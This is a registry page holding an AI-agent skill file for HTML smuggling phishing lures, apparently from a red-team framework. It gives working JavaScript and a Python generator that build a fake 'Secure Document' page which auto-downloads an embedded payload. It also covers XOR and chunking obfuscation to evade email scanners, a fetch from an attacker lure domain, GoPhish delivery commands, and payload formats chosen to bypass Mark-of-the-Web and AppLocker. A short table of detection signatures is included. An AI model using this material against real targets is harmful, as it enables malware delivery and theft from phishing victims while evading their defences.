CtrlK
BlogDocsLog inGet started
Tessl Logo

html-smuggling-lure

HTML smuggling payloads for initial access — embed base64-encoded binaries inside an HTML attachment that reconstructs and auto-downloads the file client-side via JavaScript Blob, bypassing email gateway and proxy file-type inspection.

56

Quality

66%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md
SKILL.md
Quality
Evals
Security

HTML Smuggling Lure

HTML smuggling abuses the browser's ability to construct files from JavaScript — a base64-encoded payload is embedded directly in an HTML email attachment or link. When opened, JavaScript decodes the blob, creates an <a> element with a blob: URL, and triggers a download. The payload never transits the wire as a detectable file type, so email gateways and web proxies that inspect MIME types see only text/html.

Nobelium (SolarWinds), Qakbot, and IcedID campaigns have used this technique extensively since 2021.

Prerequisites

  • A compiled payload (ISO, ZIP, MSI, IMG, or VHD) ready for delivery.
  • GoPhish or direct SMTP for delivery (gophish-campaign).
  • The lure-deconfliction handshake COMPLETE.

Quick Reference

# Encode payload to base64
base64 -w0 /workspace/payload.iso > /workspace/payload.b64

# Generate the HTML smuggling page
python3 /workspace/gen_smuggle.py \
  --payload /workspace/payload.b64 \
  --filename "Report.iso" \
  --mimetype "application/octet-stream" \
  --output /workspace/smuggle.html

# Deliver via GoPhish as an attachment
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
  -H 'Content-Type: application/json' \
  "$GOPHISH_API/templates/" -d @/workspace/smuggle_template.json

MITRE ATT&CK Mapping

TechniqueIDUsage
Obfuscated Files: HTML SmugglingT1027.006Payload reconstructed client-side from JS blob
Phishing: Spearphishing AttachmentT1566.001HTML file delivered as email attachment
User Execution: Malicious FileT1204.002Victim opens HTML, browser downloads payload

1. Basic HTML Smuggling Template

Minimal self-contained HTML that decodes a base64 payload and triggers download:

<!DOCTYPE html>
<html>
<head><title>Secure Document</title></head>
<body>
<p>Your document is downloading...</p>
<script>
// Base64 payload — replace with actual encoded content
var b64 = "<BASE64_PAYLOAD>";
var fname = "<FILENAME>";    // e.g. "Report.iso"
var mtype = "application/octet-stream";

var bytes = atob(b64);
var arr = new Uint8Array(bytes.length);
for (var i = 0; i < bytes.length; i++) arr[i] = bytes.charCodeAt(i);

var blob = new Blob([arr], {type: mtype});
var a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = fname;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(a.href);
</script>
</body>
</html>

2. Generator Script

Automate HTML smuggling page creation with theming:

import base64
import sys

TEMPLATE = '''<!DOCTYPE html>
<html>
<head>
<title>{title}</title>
<style>
body {{ font-family: Segoe UI, sans-serif; display: flex;
  justify-content: center; align-items: center; height: 100vh;
  background: #f5f5f5; }}
.card {{ background: #fff; padding: 40px; border-radius: 4px;
  box-shadow: 0 2px 8px rgba(0,0,0,.15); text-align: center; }}
.spinner {{ border: 4px solid #eee; border-top: 4px solid #0078d4;
  border-radius: 50%; width: 40px; height: 40px;
  animation: spin 1s linear infinite; margin: 20px auto; }}
@keyframes spin {{ to {{ transform: rotate(360deg); }} }}
</style>
</head>
<body>
<div class="card">
  <h2>Opening Secure Document</h2>
  <div class="spinner"></div>
  <p>If the download does not start, <a id="dl" href="#">click here</a>.</p>
</div>
<script>
(function() {{
  var d = "{b64data}";
  var n = "{filename}";
  var b = atob(d);
  var u = new Uint8Array(b.length);
  for (var i = 0; i < b.length; i++) u[i] = b.charCodeAt(i);
  var bl = new Blob([u], {{type: "application/octet-stream"}});
  var url = URL.createObjectURL(bl);
  var a = document.getElementById("dl");
  a.href = url; a.download = n;
  var t = document.createElement("a");
  t.href = url; t.download = n;
  document.body.appendChild(t); t.click();
  document.body.removeChild(t);
}})();
</script>
</body>
</html>'''

def generate(payload_path, filename, title, output):
    with open(payload_path, "rb") as f:
        b64 = base64.b64encode(f.read()).decode()
    html = TEMPLATE.format(
        title=title, b64data=b64,
        filename=filename)
    with open(output, "w") as f:
        f.write(html)
    print(f"[+] Smuggle page written to {output} ({len(b64)} bytes encoded)")

# Usage: generate("/workspace/payload.iso", "Report.iso",
#                 "Secure Document Portal", "/workspace/smuggle.html")

3. Obfuscation Layers

Basic base64 is trivially detected by static analysis. Layer obfuscation to evade email gateway JavaScript scanners:

3a. XOR + base64

// Encode: XOR each byte with key, then base64
function xorEncode(data, key) {
  var out = new Uint8Array(data.length);
  for (var i = 0; i < data.length; i++)
    out[i] = data[i] ^ key.charCodeAt(i % key.length);
  return btoa(String.fromCharCode.apply(null, out));
}

// Decode at runtime
function xorDecode(b64, key) {
  var raw = atob(b64);
  var out = new Uint8Array(raw.length);
  for (var i = 0; i < raw.length; i++)
    out[i] = raw.charCodeAt(i) ^ key.charCodeAt(i % key.length);
  return out;
}

3b. Chunked Reassembly

Split the base64 into multiple JS string variables concatenated at runtime — defeats pattern-matching on large contiguous base64:

var p1 = "AAAA..."; // chunk 1
var p2 = "BBBB..."; // chunk 2
var p3 = "CCCC..."; // chunk 3
var full = atob(p1 + p2 + p3);

3c. Fetch from External URL

Instead of embedding the full blob, fetch it at runtime from an attacker-controlled server — the HTML itself is tiny and clean:

fetch("https://cdn.<LURE_DOMAIN>/doc/" + docId)
  .then(r => r.blob())
  .then(b => {
    var a = document.createElement("a");
    a.href = URL.createObjectURL(b);
    a.download = "Report.iso";
    a.click();
  });

4. Payload File Type Selection

File TypeExtensionBypassNotes
ISO / IMG.isoMark-of-the-Web bypass (pre-Win11 22H2)Auto-mounts as virtual drive
ZIP.zipUniversally acceptedMay be scanned; password-protect
MSI.msiSigned MSI bypasses AppLocker default rulesRequires valid or stolen signature
VHD / VHDX.vhdMOTW bypass, auto-mounts on double-clickLess commonly blocked
LNK inside ZIP.zip.lnkLNK executes arbitrary commandsWindows only

5. Delivery via GoPhish

# Encode the HTML smuggling page for GoPhish attachment
B64HTML=$(base64 -w0 /workspace/smuggle.html)

curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
  -H 'Content-Type: application/json' \
  "$GOPHISH_API/templates/" -d "{
    \"name\": \"secure-doc-delivery\",
    \"subject\": \"Secure document from <SENDER_NAME>\",
    \"html\": \"<p>Hi {{.FirstName}},</p><p>Please open the attached secure document.</p><p style='color:#999;font-size:10px'>{{.Tracker}}</p>\",
    \"attachments\": [{
      \"name\": \"SecureDoc.html\",
      \"content\": \"$B64HTML\",
      \"type\": \"text/html\"
    }]
  }"

OPSEC

  • HTML file name: use business-relevant names (SecureMessage.html, Invoice_<NUM>.html). Avoid payload.html.
  • No text/html block rules: most orgs allow HTML attachments (receipts, newsletters). Verify target policy first.
  • Payload size: base64 inflates by ~33%. Keep raw payloads <5 MB so the HTML stays under common attachment size limits (10-25 MB).
  • Browser compatibility: Blob + createObjectURL works in all modern browsers. Test in Edge (corporate default).
  • Strip all development comments and source maps from production HTML.

Tools & Resources

ToolPurpose
Python base64Payload encoding
GoPhishCampaign delivery and tracking
msfvenomPayload generation (MSI, EXE, DLL)
mkisofs / genisoimageISO image creation
qemu-imgVHD/VHDX creation

Detection Signatures

DetectionSourceDescription
HTML attachment with Blob / createObjectURLEmail gateway JS analysisStatic scan for smuggling patterns
Large base64 string in HTMLContent inspectionEntropy analysis on HTML attachments
atob() + Uint8Array patternYARA / SigmaKnown smuggling JS idiom
ISO/VHD download from blob: URLEDR (browser child process)File materialised from browser without network fetch

Error Handling & Edge Cases

  • Browser blocks download: Chrome may block blob: downloads from file:// context. Deliver as email attachment (opened via webmail) or host on the lure domain.
  • Email gateway strips HTML attachments: fallback to a link pointing at the HTML smuggling page hosted on the lure domain.
  • Mark-of-the-Web on ISO: Windows 11 22H2+ propagates MOTW into ISO contents. Switch to password-protected ZIP or VHD.
  • Large payload truncation: if the HTML exceeds the email size limit, use the external-fetch variant (§3c).

Decision Gate

IF target email gateway performs JavaScript analysis on HTML attachments
  → use external-fetch variant (§3c) with clean HTML
  → OR deliver via hosted link instead of attachment
ELIF target enforces MOTW on ISO files (Win11 22H2+)
  → use password-protected ZIP or VHD as payload container
ELIF payload is >5 MB
  → use external-fetch variant to keep HTML attachment small
ELIF engagement requires offline delivery (no C2 callback during download)
  → embed full payload inline with XOR obfuscation (§3a)
ELSE
  → standard inline base64 smuggling with chunked reassembly (§3b)

Evidence

Delivery confirmation from GoPhish → link to User node. If the smuggled payload calls back, record the initial-access vector as html-smuggling in the kill-chain node. Save the HTML template hash under evidence/phisher/<campaign>-smuggle.json.

Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.